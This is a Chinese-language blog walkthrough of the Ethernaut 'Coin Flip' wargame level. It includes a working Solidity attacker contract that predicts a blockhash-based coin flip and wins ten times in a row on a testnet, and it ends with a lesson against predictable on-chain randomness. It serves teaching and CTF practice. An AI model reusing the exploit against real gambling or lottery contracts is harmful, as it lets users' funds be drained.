Ethernaut – level 3: Coin Flip

(https://ethernaut.openzeppelin.com/level/0x4dF32584890A0026e56f7535d0f2C6486753624f)

這一關要求要使用合約中的flip函數猜硬幣的正反面(flip(true) or flip(false)這樣),只要連續猜對10次就過關。觀察程式後了解它的亂數來源如下:

uint256 blockValue = uint256(blockhash(block.number.sub(1)));
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;

可以看成true or false 機率一半一半,若亂猜的情況下要連續對10次,2的10次方分之一的機率,ㄎㄎ。

過關方法

不過既然我們知道它亂數的來源是blockhash(block.number.sub(1)),那我只要先知道這個數值,然後照樣算一次,就會得到跟它一樣的答案了,所以解法就是: 再寫一個contract,其中有一個函數會跑上述的數值,取得side的值後,再去執行這關contract的filp(side),就能保證猜對了~

contract GuessCoin {
  using SafeMath for uint256;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
  
  CoinFlip public origContract= CoinFlip(0x446beE36aa357DB729ce8e1338b42c425746c9AB); 
  
  function guessFlip() public  {
    uint256 blockValue = uint256(blockhash(block.number -1));
    uint256 coinResult = blockValue / FACTOR;
    bool side = coinResult == 1 ? true : false;
    
    origContract.flip(side);
      
  }
}

用Remix IDE 來compile and depoly

我們用Remix來編寫這個新的contract,並depoly到Rinkeby test network

紅框的部分為Remix depoly介面中要注意的部分

執行guessFlip()函數,執行前可用Ethernaut此關中的developer tool->console,下await contract.consecutiveWins(),可看到目前的連贏次數為零。

執行10 次guessFlip後,連贏次數變為10,submit instance,Level Cleared!

這一篇主要的Takeaway就是不要依賴blackHash當作亂數的來源,或是其他能被影響或得知的數值當作亂數的來源,若真的有需要完全亂數以保障公平性時,例如博弈等應用,可以使用Oracle作為亂數的來源。

另外,筆者在自己執行的過程中有發生執行時錯誤,第一次執行contract.consecutiveWins()時成功,第二次執行同樣的指令卻發生錯誤,錯誤訊息為: “max fee per gas less than block base fee”,照錯誤訊息字面上的意思,就是我設定的最大gas費用小於區塊的基本費用,原因為網路忙碌,導致了收取的gas-fee拉高到超過我的上限值,關於這個的詳細,可以參考我的另一篇文章-以太坊 gas-fee與EIP-1559

*名詞解釋:

  • BlackHash(blackNumber) : 區塊的 hash 值
  • Black.number : 目前區塊的編號